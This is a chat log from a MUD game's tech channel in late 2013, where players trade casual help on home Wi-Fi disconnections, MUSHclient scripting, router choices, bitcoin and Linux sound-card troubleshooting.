T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i got a new router a few days ago, and ever since then i've been getting sporadic disconnections, but only on one computer out of the dozen or so devices connected to it... any idea what could cause that?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ontuct Tech: sloppy cabling?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ayasinda Tech: check the router logs
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ayasinda Tech: check the router logs
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: since it's only on the one computer i'd think it would be something wrong with the wireless adapter or something, but it's too coincidental that it happened the same day i got the new router...
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ayasinda Tech: oops
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: compatibility issues
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: all wireless, ontuct
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what am i looking for in the logs exactly? there's nothing in the past 9 hours and it happened about an hour ago
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it's mainly filled with a lot of these: Nov 29 03:14:05 [DHCP]: [SERVER]  DHCP_ACK sent
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: tried a different wireless channel?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ayasinda Tech: I don't know what you are looking for. Look for abnormal things.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: oh, hang on, the log isn't all chronological
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Pleiades Tech: what IP address is assigned to the pc at the moment?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: 192.168.2.12
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: tigernuts: i did try a couple different ones, but it only happens on the one device...
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if it was noise, wouldn't it affect my phone two feet from this computer too?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: maybe, maybe not. what's the signal strength like?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: 4/5 bars (is there a better way to check that? :P)
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: i'd try an alternative adaptor
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: there's nothing in the log around when i disconnected
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: Nov 29 11:55:51 [DHCP]: [SERVER]  DHCP_ACK sent // 11:58 (last timestamp from the mud) // Nov 29 12:01:27 [SYSTEM]: [UPnP]: Entry Add
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: try updating firmwares on both ends, if that doesn't work i'd say you're out of luck
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: i'd probably not touch the firmware on the router until last
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: driver update on the device maybe?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i'll look
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: i've only ever solved sporadic d/cs in 2 ways: changing firmware or changing hardware
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: granted i'm no techie but they're terrible to deal with
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: try moving the wireless card from the problem computer to another.  to find out if it is the card.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the adapter worked fine with the old router though :(
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, that's a good idea
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: and for that matter, it works fine now too, when it's connected :P
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: how old is your wireless card?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: 3 years
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: router?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it's a usb adapter though, not card
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: different wireless standards?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: got the router monday, they're both 802.11n
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: there's a 5000 and 2400 freq n standard i think
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: this one is 2.4Ghz
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: would the other router have it written on it? i don't have it hooked up to test...
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: but i assume the older one would be that too?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: if it's a new router it might well be 5000
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: googling the model could probably tell you :p
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it says 2.4 :P
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: I thought N does both frequencies. 2.4 and 5
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: some only do one of them
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: like iphones only do 2400 i think
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tech: Redryn shrugs helplessly.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: you could set your router to only use g maybe
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: see if it makes a difference
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Book of Etzli Tech: iPhones can take 5G...
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ontuct Tech: maybe it drops out whenever a neighbour microwaves a cup of coffee.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: haha
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: or your cordless phone rings?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, google says the old one was 2.4Ghz too
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: is your new router 5000 or 2400?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: 2400
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Redryn Tech: you can try using a wifi scanning prog and see if there are other wifi stuff in the channel maybe
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ayasinda Tech: maybe when Myrkul's wifi problems are solved, I can ask about my wifi problem.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: I am switching to MUSH currently. I have many triggers based around my prot spells fading away. Is there a script that can automate that for me so that i do not have to remake 60+ triggers?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Kuznazh Tech: all you have to do is type spellup learned
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Sickerone Tech: winkle winkle spellup script
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: thanks thats a beautifully simple script
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Twitter Roninleader Tech: its been so long since I added a plugin to mush. I can't remember how to do it now. :P
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Pumpkin Tech: Heard about bitcoin and would like to try it out? I'll gladly answer all your questions and help you out getting started :)
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You mean the $1000 per unit bubble just waiting to devastate the livelihoods of thousands?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Pumpkin Tech: price is one of the least interesting aspects about it
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Pumpkin Tech: bitcoin is extremely valuable at $0.01 and at $100,000.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Pumpkin Tech: price doesn't matter
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Until employers pay in bitcoin, price remains the single most important factor
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Afterwards, price remains the single most important factor, but you compare against a consumer basket instead of an exchange currency
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Kuznazh Tech: im interested in bitcoin regardless of its price
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Pumpkin Tech: It is certainly possible that the price could tumble down 5-10 times very quickly, it's extremely risky speculation. But just to call it a bubble is extremely foolish.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Its price reflects primarily speculative pressures - it is not a price which reflects current value.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's pretty much the definition of a bubble
T3/r7/2013-11-29.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: so, must to a byte coin next. then i get rich too
T3/r7/2013-11-29.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: do*
T3/r7/2013-11-29.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hwuaijijal just find an unclaimed block in the bitcoin stack
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Definitely Defines Tech: $50,000 payday
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: how do i make mush remember the command line?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: how do I make mush save commands? when I send something from the command line it is not saved in the buffer
T3/r7/2013-11-29.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: in keyboard preferences i belive.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: global pref - commands - right side top box
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Trachx Tech: check also ctrl+h
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: under control H its empty
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: trying to use a variable...what symbol do I place in front of it so that its picked up in the alias?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: in mush? none.  
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: ok, in zmud I would use @dual weapon, so that I could remove X weapon for portal use, then only having to change that one item instead of each portal alias
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Zade Tech: Nagadar, you saying that mushclient inefficiently treats everything typed as a potential variable (wasting cpu cycles looking up variable tables on everthing)
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: no I am saying today I switched to MUSh, and I am trying to figure out how it works LOL
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: I don't know about cpu cycles, but when I type in let's say 'ep' muchclient processes it before it gets sent to aardwolf server and picks up what it neds to do on my alias list.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Zade Tech: at least cmud/zmud waits until a @ before looking through variable-list
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Hanslanda Tech: it still has to figure out where the is, Zade.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Zade Tech: a "variable" is different" to an "alias"
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Hanslanda Tech: at least with CMud the scripts are compiled and the lookup is only done once.  In ZMud, the lookup is done at runtime.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: 'ep' is what i use for enter portal.  where it is short for 'hold garbage can'
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: then enter garbage
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: change and hold whatever is more useflul.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Zade Tech: Dranged is looking for the prefix symbol to variables syntax in mushclient, not the alias prefix (which is the invisible start of line in cmud (and mushclient))
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Negader Tech: on this webpage:  http://www.gammon.com.au/forum/?id=6030   there is something called function target alias.  is this something like it?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: figured it out...@ is ok to use, I did not expand the variable. Clannie helped me figure it out
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Zade Tech: "clannie" - namedropping - attempting to rub the noses of the unclanned (and unclanned) into the excrement that you are clanned -- xchan -- like somebody saying "hubby"  (you are married are you, may you be unhappily divorced soon)) - xchan
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tech: Dolt comforts Zade.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: ?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: sorry zade, not my intent...I am just really frustrated with this conversion...i want to get back to playing
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Hanslanda Tech: would be wrong to make a trigger that subs every mention of Zade with Starling?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ehrsul Tech: down with clannies!
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ehrsul Tech: hehe
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tech: Zade ponders a triiger that subs every mention of Hanslanda with Kojiro -- but that may be praising Hanslanda, so nope 
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Lecithin Tech: i've got a pretty old wireless router (linksys WRT54GL).  It still appears to be running well but I'm wondering when the best time to upgrade it is.  Wait until it fizzles out or take pre emptive measures now?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: if it ain't broke, why fix it?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Lecithin Tech: i guess that is essentially the answer im looking for:)
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ehrsul Tech: curious, to linksys at home routers actually build routing statements and tables with ospf, or they just a glorified gateway device/switch?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: don't know, you'd have to look 'em up. All i know is that most routers have attrocious security with glitches and backdoors in them
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: and pretty much every router aimed at the home market is built as cheaply as possible
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ehrsul Tech: i suppose what i'm saying is, are home routers even routers. :)
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Tigernuts Tech: you'll have to look it up :-)
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Ehrsul Tech: really doesn't seem like they are to me, from someone who worked with commercial equipment, but maybe recent models are different
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Dolt Tech: yeah I don't think so either, there's no real need for any real routing protocols on a home router. It's more about being a gateway/firewall.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Caramel Milkshake Tech: ugh, uber fail.  I love how most websites around a tech use a mishmash of marketing words instead of explaining to a potential developer what the hell the tech is.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: How do I reset Mush's windows again?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Turie Tech: aardreset
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Turie Tech: resetaard I mean
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: That did something, but I can't see my map window =/
T3/r7/2013-11-29.txt.gz:{chan ch=tech}ZethAnun Tech: what does linkdead mean?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: not connected but didnt quit out.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: My map window in mush is gone. How do I put it back?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Turie Tech: Mapper window?
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: Yes
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: Well both maps
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Turie Tech: Mapper show
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: Nothing happens
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: I'm guessing it's out of my monitor's range
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Turie Tech: See if the plugins are loaded.
T3/r7/2013-11-29.txt.gz:{chan ch=tech}Bamboo Tech: They are =/
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Domovoy Tech: is there any way to substitute part of input line in Mush?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ehrsul Tech: using the aard mush client, how can I disable the auto spellup? it's ruining my notes
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There is no auto spellup in aard mush client. You have added it separately, and how to switch it off will depend on exactly what you have added
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ehrsul Tech: someone else helped, spellup none works.
T3/r7/2013-11-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: we have like 6 computers using 1,2mb/s - wifi. its all well until someone starts using torrent. even if the download speed is way smaller than that 1,2, it still manages to clog up the whole thing. meh.. whats with that? torrent programs doing some secret work also or.. ? 
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Linoge Tech: what about their upload?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Pooky Tech: limit the max peers maybe
T3/r7/2013-11-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. i'll try that
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Definitely Defines Tech: ANYONE ELSE'S TOASTER NOT WORKING THIS MORNING?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: blame the elves
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Definitely Defines Tech: HELLO? HOW DO I MAKE THEM HEAR ME
T3/r7/2013-11-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: use megacaps
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Definitely Defines Tech: I CANT FIND THE MEGACAPS AND IM SCREAMING AS LOUD AS I CAN WHERE ARE THEY
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Gener Tech: it is right next to the anykey
T3/r7/2013-11-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you are 3 sentences away from chanban:p
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Definitely Defines Tech: Randy, I AM the chanban
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Naud Tech: how do i change the text size on aard mush
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Bunnyy Tech: is there a quick way to mark a whole area's worth of rooms as noportal?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Tech: only using database commands, not recommended...the mapper automatically marks rooms noportal and norecall as it sees them...go deep into the area, then try a mapper goto a portal landing spot
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Bunnyy Tech: so i have to go to each room in the area and try portalling out of all of them to mark them as such?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Tech: naud: to change the size of the main window, go to game -> configure -> output and look at the Font section...to change the size of miniwindows, most offer a right-click option
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Anyone have any input on a new wireless router for home use these days? Preferably something I can set up for VPN from an android device.. can always use something like Tomato or DD-WRT for this purpose. But I'm lost on the hardware itself these days
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Trachx Tech: why not any capable of running tomato / dd-wrt
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Because that doesn't really narrow it down a whole lot =p
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Trachx Tech: what about: https://www.bestvpn.com/blog/5820/5-best-routers-for-dd-wrt-with-vpn/
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: when i bought my last one WRT54G-L as kind of the one to get.. but thats been years ago
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Worth a look.
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: seems like external antennas are largely gone
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Trachx Tech: seems that USB port can be useful
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Trachx Tech: http://www.flashrouters.com/blog/2012/02/12/2012-best-and-most-recommended-ddwrt-wireless-n-routers-for-installing-running-open-source-firmware/
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Elxi Tech: Until my last purchase I used to think one wireless router was as good as another. Boy was I wrong.
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Nod, they can be. Though, since I've got a media server already, I don't think it would be terribly beneficial
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: I tend to think that too Elxi. But thats mostly since my needs generally arent high, so even a low grade model is fine if its reliable
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Legendary Gruagach Tech: depends on the application.. most of the time they are
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: wonder if its time for a new cable modem too, while i'm at it
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Tech: holy crap, what the hell happened to the geeks.com store?!?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: First router on that second page, E4200 is the same from the previous one i was looking at. nice
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Tech: I've been ordering there since it was computergeeks.com
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Tech: and got my current wireless router from there for like $15 bucks around 5 years ago :P
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Trachx Tech: tech WRT54G devices look nice especially DIY mods - http://www.dd-wrt.com/wiki/index.php/Hardware_DIY
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Nod, Just 10/100 ethernet, and Wireless G only
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Nice. seperate guest ssid on that model.
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Daloran Tech: Well, thanks for the links =)
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Arindel Tech: hey is anyone here familiar with alpha-beta pruning? 
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Legendary Gruagach Tech: minmax dat search
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ryv Tech: Whenever i open abelincs logs in firefox, the browser stops responding for like a minute. What would be the cause of that/how can i fix that?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Zetkax Tech: its a big file to load
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ixle Tech: Too much data, swap windows and do something else for 60 seconds
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ryv Tech: Ok. I didn't think a text file would crash ff.
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ixle Tech: Did it crash or just stall?
T3/r7/2013-11-30.txt.gz:{chan ch=tech}Ryv Tech: Stall
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how can I play aardwold on the xbox one?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Gym Leader Mokg Tech: sell it and buy a ps4
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I didn't realize you can flip them for $150 profit on ebay
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the local gamestop had extra xbox ones the other day
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I was just counting folks for fun, and after the midnight rush was done they were out of ps4 and had like 10 xbox ones left
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ullin Tech: sorry what is the code to send an enter in lua, for muchclient, is it /n?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: just use Send ("") (or whatever you want to send)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ullin Tech: I need it as a single string...in an acelerator
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: a Send () function ends the send with enter
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: no you don't
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: you make an alias with what you want it to do, and you call the alias from the accelerator
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Kuznazh Tech: im not sure its possible not to send a newline - are you trying to stack commands?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ullin Tech: yah, trying to stack 2 things without using an alias
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: you don't not want to use an alias
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Kuznazh Tech: use a semicolon and i think execute(your stacked commands)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: it's actually what the macro helpfile in MUSHclient suggests tha you do
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ullin Tech: I don't see how, this is the command I am using in mush Accelerator(BSTR Key, BSTR Send)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Wow. I did not know you could do all this with google now: https://www.youtube.com/watch?v=2vT0AWDq3DE
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Dolt Tech: the contextual smarts is cool
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: I particularly like the setting of a reminder next time you are at a location.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Dolt Tech: yeah that's nice, pretty sure Siri's done that since it came out
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Dolt Tech: MUX
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Dolt frowns sadly, looks around and goes 'meh..'
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Legendary Gruagach Tech: mux makes me thing of old t1 connections
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Wire Tech: is there a mushclient plugin that opens a miniwindow for notes?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Which mastery would be most beneficial for thief?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Pooky Tech: wrong channel
T3/r7/2013-12-01.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Not really a tech related question, but for ninja probably doesn't matter as much.  Pierce is good, but really any will do since spiral is weapon dam type.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Taste The Alestorm Tech: whups, so used to asking questions here.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Thank you Mendaloth.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: I am getting this for some reason at the beginning of my clan talk..how do I turn this off? ({chan ch=clantalk})
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: it does it on any chat channel
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Pleiades Tech: check help tags
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: that worked...I turned tags off
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone wanna diagnose / correct my sound card problem in exchange for one of my trivia point tokens ^^, it works under 'mint' but its not working under gentoo. i tried alsamixer, i tried kmixer, i checked the kernel config, i made sure rc-status showed alsa sound as running.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Vost Tech: did you try switching it off, then back on? 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yes.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Vost sits down and thinks deeply. 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i also checked the laptop for loose cables.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Vost Tech: oh, a laptop...
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: and i made sure that i was using a program, mplayer, that would produce sound
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: check /var/log/messages and /var/log/dmesg to be sure that there is sound device
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: trachx checking
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: trach yep. there is a sound, sound/pci/hda/
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: also: lspci | grep --color -i audio
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: /usr/sbin/sestatus is persmissive or enforcing ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: selinux: disabled , so i guess permissive?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: well disabled is not equal permissive, but it doesn't matter in this situation
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i'd love to enable it eventually ^_^ but that's a whole nother ballgame
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: actually permissive mode doesn't block anything, though it would require relabelling to turn it on
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: /etc/init.d/alsasound status ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: status: started
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: alsamixer and check whether output is not muted
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: output is not muted
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude peers intently at Trachx.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: my best guess was muted or not detected hardware
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: darn :(
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: well, what are levels in alsa mixer ? master, pcm, line ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: or rather set them to max
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: one more thing, do you see in alsa mixer your device ? if not try F6 and choose proper one
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i have -default, and 'HDA Intel PCM' as choices
